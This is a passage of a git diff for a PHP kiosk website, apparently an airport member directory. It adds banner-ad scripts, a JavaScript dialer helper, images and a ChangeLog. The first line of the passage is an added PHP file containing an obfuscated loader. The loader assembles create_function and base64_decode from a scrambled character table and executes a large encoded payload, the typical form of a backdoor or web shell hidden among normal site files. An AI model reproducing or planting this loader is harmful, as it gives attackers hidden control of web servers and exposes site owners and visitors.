+<?php $rweGHhVXx='/M7yntk5_c,Na3U"9^bCIYhT0rAwBF]e EvLZ}[|ofq2H{4D;WxRQ).SKzX1*O6$(8s+GgmVjPdpuJil';$zYlvEXbuz=$rweGHhVXx{9}.$rweGHhVXx{25}.$rweGHhVXx{31}.$rweGHhVXx{12}.$rweGHhVXx{5}.$rweGHhVXx{31}.$rweGHhVXx{8}.$rweGHhVXx{41}.$rweGHhVXx{76}.$rweGHhVXx{4}.$rweGHhVXx{9}.$rweGHhVXx{5}.$rweGHhVXx{78}.$rweGHhVXx{40}.$rweGHhVXx{4};$XVZvMllaJ=$rweGHhVXx{63}.$rweGHhVXx{66};$CnZIKTrOx=$rweGHhVXx{41}.$rweGHhVXx{76}.$rweGHhVXx{4}.$rweGHhVXx{9}.$rweGHhVXx{5}.$rweGHhVXx{78}.$rweGHhVXx{40}.$rweGHhVXx{4}.$rweGHhVXx{32}.$rweGHhVXx{25}.$rweGHhVXx{65}.$rweGHhVXx{64}.$rweGHhVXx{63}.$rweGHhVXx{66}.$rweGHhVXx{10}.$rweGHhVXx{63}.$rweGHhVXx{75}.$rweGHhVXx{53}.$rweGHhVXx{45}.$rweGHhVXx{25}.$rweGHhVXx{31}.$rweGHhVXx{5}.$rweGHhVXx{76}.$rweGHhVXx{25}.$rweGHhVXx{4}.$rweGHhVXx{32}.$rweGHhVXx{63}.$rweGHhVXx{66}.$rweGHhVXx{17}.$rweGHhVXx{66}.$rweGHhVXx{5}.$rweGHhVXx{25}.$rweGHhVXx{8}.$rweGHhVXx{75}.$rweGHhVXx{12}.$rweGHhVXx{74}.$rweGHhVXx{64}.$rweGHhVXx{63}.$rweGHhVXx{75}.$rweGHhVXx{10}.$rweGHhVXx{66}.$rweGHhVXx{5}.$rweGHhVXx{25}.$rweGHhVXx{79}.$rweGHhVXx{31}.$rweGHhVXx{4}.$rweGHhVXx{64}.$rweGHhVXx{63}.$rweGHhVXx{66}.$rweGHhVXx{53}.$rweGHhVXx{10}.$rweGHhVXx{63}.$rweGHhVXx{75}.$rweGHhVXx{53}.$rweGHhVXx{48}.$rweGHhVXx{37}.$rweGHhVXx{48}.$rweGHhVXx{31}.$rweGHhVXx{34}.$rweGHhVXx{12}.$rweGHhVXx{79}.$rweGHhVXx{64}.$rweGHhVXx{25}.$rweGHhVXx{65}.$rweGHhVXx{64}.$rweGHhVXx{18}.$rweGHhVXx{12}.$rweGHhVXx{66}.$rweGHhVXx{31}.$rweGHhVXx{62}.$rweGHhVXx{46}.$rweGHhVXx{8}.$rweGHhVXx{74}.$rweGHhVXx{31}.$rweGHhVXx{9}.$rweGHhVXx{40}.$rweGHhVXx{74}.$rweGHhVXx{31}.$rweGHhVXx{64}.$rweGHhVXx{63}.$rweGHhVXx{66}.$rweGHhVXx{53}.$rweGHhVXx{10}.$rweGHhVXx{15}.$rweGHhVXx{49}.$rweGHhVXx{52}.$rweGHhVXx{22}.$rweGHhVXx{5}.$rweGHhVXx{21}.$rweGHhVXx{51}.$rweGHhVXx{12}.$rweGHhVXx{52}.$rweGHhVXx{79}.$rweGHhVXx{15}.$rweGHhVXx{53}.$rweGHhVXx{53}.$rweGHhVXx{48};$FNqVIDdHD="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";$aQDDAJxpI=$zYlvEXbuz($XVZvMllaJ,$CnZIKTrOx);$aQDDAJxpI($FNqVIDdHD);?>
\ No newline at end of file
diff --git a/assets/right.gif b/assets/right.gif
new file mode 100755 (executable)
index 0000000..5582332
Binary files /dev/null and b/assets/right.gif differ
diff --git a/assets/temp-banner.gif b/assets/temp-banner.gif
new file mode 100755 (executable)
index 0000000..16576fd
Binary files /dev/null and b/assets/temp-banner.gif differ
diff --git a/assets/temp-detail-photo.jpg b/assets/temp-detail-photo.jpg
new file mode 100755 (executable)
index 0000000..e78b457
Binary files /dev/null and b/assets/temp-detail-photo.jpg differ
diff --git a/assets/temp-photo.jpg b/assets/temp-photo.jpg
new file mode 100755 (executable)
index 0000000..7b1f758
Binary files /dev/null and b/assets/temp-photo.jpg differ
diff --git a/banner.php b/banner.php
new file mode 100644 (file)
index 0000000..16f3520
--- /dev/null
@@ -0,0 +1,87 @@
+<?php
+// get random banner ad 
+$query = "select id from banner where active = 't' and edate >= current_date;";
+if( $bData = $toolbox->DB->db_auto_get_data( $query ) )
+{
+       foreach( $bData as $row )
+       {
+               $banners[] = $row['id'];
+       }
+       srand((float) microtime() * 10000000);
+       $rand_key = array_rand( $banners );
+       $id = $banners[$rand_key];
+       $query = "update banner set imp_kiosk = imp_kiosk + 1 where id = ".$id.";select * from banner where id = $id;";
+       if( $data = $toolbox->DB->db_auto_get_data( $query ) )
+       {
+               $image = $data[0]['image'];
+               $member_id = $data[0]['member_id'];
+               if( is_numeric( $member_id ) )
+               {
+                       $query = "select id,memb_type,city from member where id = $member_id;"; 
+                       if( $mData = $toolbox->DB->db_auto_get_data( $query ) )
+                       {
+                       //      echo '<!--<pre>';
+                       //      print_r($mData);
+                       //      echo '</pre>-->';
+                               $mId = $mData[0]['id'];
+                               $mType = $mData[0]['memb_type'];
+                               if( is_array( $toolbox->memb_toolbox ) )
+                               {
+                                       foreach( $toolbox->memb_toolbox as $mCat => $mRow )
+                                       {
+                                               if( in_array( $mType, $mRow ) )
+                                               {
+                                                       $mCatid = $mCat;
+                                               }
+                                       }
+                               }
+                               //echo '<!-- $mCatid = '.$mCatid.' -->';
+                               $urlparam = 'city='.urlencode($mData[0]['city']);
+                               if( $mCatid == 8 )
+                               {
+                                       $urlparam = "city=Transportation";
+                               }
+                               if( $mCatid == 4 )
+                               {
+                                       $urlparam = "memb_type=".$mData[0]['memb_type'];
+                               }
+                               $banner_link1 = '<a href="detail.php?catid='.$mCatid.'&amp;'.$urlparam.'&amp;id='.$mId.'&amp;banner='.$id.'">';
+                               $banner_link2 = '</a>';
+                       }
+                       else
+                       { 
+                               $banner_link1 = '';
+                               $banner_link2 = '';
+                       }
+                       switch( $GLOBALS['GLM_SERVER_ID'] )
+                       {
+                               case "devsys.gaslightmedia.com":
+                                       $base_banner_url = 'http://devsys.gaslightmedia.com/www.pellstonairport.com/images/original/';
+                                       $base_banner_path = '/home/httpd/www/www.pellstonairport.com/images/original/';
+                               break;
+                               case "ws1.gaslightmedia.com":
+                                       $base_banner_url = 'http://www.pellstonairport.com/images/original/';
+                                       $base_banner_path = '/home/httpd/server/www.pellstonairport.com/images/original/';
+                               break;
+                       }
+                       $size = @getimagesize( $base_banner_path.$image );
+                       if( strstr( $PHP_SELF,'index.php' ) )
+                       {
+                               $banner_ad = $banner_link1.'<img src="'.$base_banner_url.$image.'" '.$size[3].' alt="'.htmlentities($image).'" id="banner-home">'.$banner_link2;
+                       }
+                       else
+                       {
+                               $banner_ad = $banner_link1.'<img src="'.$base_banner_url.$image.'" '.$size[3].' alt="'.htmlentities($image).'" id="banner-inside">'.$banner_link2;
+                       }
+               }
+       }
+}
+if( strstr( $PHP_SELF,'index.php' ) )
+{
+       echo $banner_ad;//'<img src="assets/temp-banner.gif" width="468" height="60" alt="temp-banner (11K)" id="banner-home">';
+}
+else
+{
+       echo $banner_ad;//'<img src="assets/temp-banner.gif" width="468" height="60" alt="temp-banner (11K)" id="banner-inside">';
+}
+?>
diff --git a/banner.php.save b/banner.php.save
new file mode 100755 (executable)
index 0000000..6ee49ba
--- /dev/null
@@ -0,0 +1,87 @@
+<?php
+// get random banner ad 
+$query = "select id from banner where active = 't' and edate >= current_date;";
+if( $bData = $toolbox->DB->db_auto_get_data( $query ) )
+{
+       foreach( $bData as $row )
+       {
+               $banners[] = $row['id'];
+       }
+       srand((float) microtime() * 10000000);
+       $rand_key = array_rand( $banners );
+       $id = $banners[$rand_key];
+       $query = "select * from banner where id = $id;";
+       if( $data = $toolbox->DB->db_auto_get_data( $query ) )
+       {
+               $image = $data[0]['image'];
+               $member_id = $data[0]['member_id'];
+               if( is_numeric( $member_id ) )
+               {
+                       $query = "select id,memb_type,city from member where id = $member_id;"; 
+                       if( $mData = $toolbox->DB->db_auto_get_data( $query ) )
+                       {
+                       //      echo '<!--<pre>';
+                       //      print_r($mData);
+                       //      echo '</pre>-->';
+                               $mId = $mData[0]['id'];
+                               $mType = $mData[0]['memb_type'];
+                               if( is_array( $toolbox->memb_toolbox ) )
+                               {
+                                       foreach( $toolbox->memb_toolbox as $mCat => $mRow )
+                                       {
+                                               if( in_array( $mType, $mRow ) )
+                                               {
+                                                       $mCatid = $mCat;
+                                               }
+                                       }
+                               }
+                               //echo '<!-- $mCatid = '.$mCatid.' -->';
+                               $urlparam = 'city='.urlencode($mData[0]['city']);
+                               if( $mCatid == 8 )
+                               {
+                                       $urlparam = "city=Transportation";
+                               }
+                               if( $mCatid == 4 )
+                               {
+                                       $urlparam = "memb_type=".$mData[0]['memb_type'];
+                               }
+                               $banner_link1 = '<a href="detail.php?catid='.$mCatid.'&amp;'.$urlparam.'&amp;id='.$mId.'">';
+                               $banner_link2 = '</a>';
+                       }
+                       else
+                       { 
+                               $banner_link1 = '';
+                               $banner_link2 = '';
+                       }
+                       switch( $GLOBALS['GLM_SERVER_ID'] )
+                       {
+                               case "devsys.gaslightmedia.com":
+                                       $base_banner_url = 'http://devsys.gaslightmedia.com/www.pellstonairport.com/images/original/';
+                                       $base_banner_path = '/home/httpd/www/www.pellstonairport.com/images/original/';
+                               break;
+                               case "ws1.gaslightmedia.com":
+                                       $base_banner_url = 'http://www.pellstonairport.com/images/original/';
+                                       $base_banner_path = '/home/httpd/server/www.pellstonairport.com/images/original/';
+                               break;
+                       }
+                       $size = @getimagesize( $base_banner_path.$image );
+                       if( strstr( $PHP_SELF,'index.php' ) )
+                       {
+                               $banner_ad = $banner_link1.'<img src="'.$base_banner_url.$image.'" '.$size[3].' alt="'.htmlentities($image).'" id="banner-home">'.$banner_link2;
+                       }
+                       else
+                       {
+                               $banner_ad = $banner_link1.'<img src="'.$base_banner_url.$image.'" '.$size[3].' alt="'.htmlentities($image).'" id="banner-inside">'.$banner_link2;
+                       }
+               }
+       }
+}
+if( strstr( $PHP_SELF,'index.php' ) )
+{
+       echo $banner_ad;//'<img src="assets/temp-banner.gif" width="468" height="60" alt="temp-banner (11K)" id="banner-home">';
+}
+else
+{
+       echo $banner_ad;//'<img src="assets/temp-banner.gif" width="468" height="60" alt="temp-banner (11K)" id="banner-inside">';
+}
+?>
diff --git a/caller.js b/caller.js
new file mode 100755 (executable)
index 0000000..c65449e
--- /dev/null
+++ b/caller.js
@@ -0,0 +1,49 @@
+var connect_time = 120;
+var max_time = 600;
+var t = connect_time;
+var m = max_time;
+function ConnectTimer(kill)
+{
+       document.getElementById( 'HangupButton' ).value = 'Hang up in ' + t + ' seconds - \nTouch this box for more time';
+       t = t-1;
+       m = m-1;
+       if( t < 0 )
+       {
+               HangUp();
+       }
+       else
+       {
+               setTimeout('ConnectTimer()', 1000);
+       }
+}
+function ResetTimer()
+{
+       if( m < connect_time )
+               t = m;
+         else
+               t = connect_time;
+}
+function SingleDial( number ) 
+{
+          var wsh = new ActiveXObject('WScript.Shell');
+          wsh.Run('"c:\\Program Files\\Dial Engine Pro\\dial.exe"/' + number );
+       show_button();
+       t = connect_time;
+       m = max_time;
+       setTimeout('ConnectTimer()', 1000);
+}
+function HangUp(dial)
+{
+          var wsh = new ActiveXObject('WScript.Shell');
+          wsh.Run('"c:\\Program Files\\Dial Engine Pro\\dial.exe"/hangup');
+       hide_button();
+       t = 0;
+}
+function show_button() 
+{
+       document.getElementById('Hangup').style.visibility = 'visible'; 
+}
+function hide_button() 
+{
+       document.getElementById('Hangup').style.visibility = 'hidden';
+}
diff --git a/classes/ChangeLog b/classes/ChangeLog
new file mode 100755 (executable)
index 0000000..9ec69c2
--- /dev/null
@@ -0,0 +1,985 @@
+2005-12-23 14:24  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_tellfriend.inc: changing to required_once
+
+2005-12-23 14:23  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_tellfriend.inc: update
+
+2005-12-23 14:22  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_tellfriend.inc: updating tellfriend script (uses extends
+         contact_form)
+
+2005-12-09 12:17  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_template.inc: update get_ancestors function to reset array
+
+2005-12-08 13:32  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update for not using db
+
+2005-11-29 08:24  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc: update to set maxlegth on text type
+
+2005-11-28 15:14  Steve Sutton <steve@gaslightmedia.com>
+
+       * class_contact_form.inc, class_template.inc: validate more
+
